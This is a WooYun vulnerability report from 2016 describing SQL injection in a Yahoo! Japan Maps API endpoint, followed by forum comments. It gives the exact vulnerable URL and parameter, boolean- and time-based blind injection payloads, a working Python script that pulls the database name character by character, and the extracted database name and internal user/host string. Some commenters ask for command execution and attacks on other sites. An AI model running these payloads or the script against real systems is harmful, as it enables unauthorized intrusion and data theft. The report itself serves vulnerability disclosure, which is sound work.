当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0176575

漏洞标题:Yahoo! Japan Website Multiple SQL Injection Vulnerabilities #2

相关厂商:Yahoo! Japan

漏洞作者: 猪猪侠

提交时间:2016-02-17 22:43

修复时间:2016-02-22 22:50

公开时间:2016-02-22 22:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(日本国家互联网应急中心(JPCERT/CC))处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-17: 细节已通知厂商并且等待厂商处理中
2016-02-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

http://www.alexa.com/topsites/countries/JP
Top Sites in Japan, No 1 Is yahoo.co.jp , Then Submit, One most 3 vulnerabilities;
Yahoo! Japan Website Multiple SQL Injection Vulnerabilities #2
Include: boolean-based blind, AND/OR time-based blind

详细说明:

#1 Description
Vulnerable Website: http://maps.yahoo.co.jp
Injection URL: http://maps.yahoo.co.jp/provider/api_world_category.php?output=xml&iso=&g2=&_i=1&g1=1
#2 Vulnerability

Parameter: g1 (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: output=xml&iso=&g1=1 AND 4713=4713&g2=&_i=1
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: output=xml&iso=&g1=1 AND SLEEP(5)&g2=&_i=1

漏洞证明:

#3 Exploit

#!/usr/bin/env python
# encoding: utf-8
# yahoo.jp.py
# ringzero@**.**.**.**
import requests
import time
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
for i in range(1,30):
for _str in payloads:
start_time = time.time()
url = "http://maps.yahoo.co.jp/provider/api_world_category.php?output=xml&iso=&g2=&_i=1&g1=1 AND ASCII(MID(LOWER(DATABASE())," + str(i) + ",1))=" + str(ord(_str))
result = requests.get(url).content
if len(result) > 300:
print _str
break


#4 Proof of Concept
Maps database name is:

ymap_db


Database User() is:

maps@fe264.map.ssk.ynwp.yahoo.co.jp

修复方案:

# before making any kind of request with them must be validated.

版权声明:转载请注明来源 猪猪侠@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-02-22 22:50

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

评价

  1. 2016-02-17 22:43 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3813 漏洞数:295 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    一个厂商最多提交3个,就酱紫

  2. 2016-02-17 22:48 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1845 漏洞数:294 | 风暴网络安全空间:http://www.heysec.or...)

    @猪猪侠 为啥最多3个?

  3. 2016-02-17 22:49 | hkcs ( 实习白帽子 | Rank:55 漏洞数:8 | 只是路过)

    666666

  4. 2016-02-17 22:49 | Myh4ck1ife ( 路人 | Rank:2 漏洞数:2 | 男.国内知名潜水党伸手党以及深夜党!精通C...)

    可以可以

  5. 2016-02-17 22:51 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3813 漏洞数:295 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    @HackBraid 超过3个,就没啥意思了

  6. 2016-02-17 22:53 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3813 漏洞数:295 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    http://www.alexa.com/topsites/countries/JP

  7. 2016-02-17 22:54 | xsser 认证白帽子 ( 普通白帽子 | Rank:282 漏洞数:21 | 当我又回首一切,这个世界会好吗?)

    来个命令执行啊

  8. 2016-02-17 23:39 | 来打我呀 ( 路人 | Rank:2 漏洞数:1 | 欢脱跳跃的小鲜肉~)

    所以猪哥下次真的要东京热了?

  9. 2016-02-18 12:28 | SH0X8001 ( 路人 | Rank:15 漏洞数:5 | 你猜)

    3连击

  10. 2016-02-18 16:30 | phoenixne ( 普通白帽子 | Rank:108 漏洞数:44 | 小本毕业,向各位学习)

    东京热 拉开序幕了?

  11. 2016-02-18 23:21 | LoveSnow ( 路人 | Rank:29 漏洞数:8 | 以正和,以奇胜!)

    @猪猪侠 强烈要求东京热

  12. 2016-02-19 17:07 | tangtanglove ( 路人 | Rank:13 漏洞数:5 | 一个对安全感兴趣的屌丝phper)

    @猪猪侠 这英文高大上,虽然我不懂啥意思!求测试东京热网站

  13. 2016-02-22 20:02 | 末影人 ( 实习白帽子 | Rank:47 漏洞数:14 | 末影人(Enderman)是一个三个方格高的人形生...)

    @疯狗 JPCERT好像不知道怎么确认漏洞啊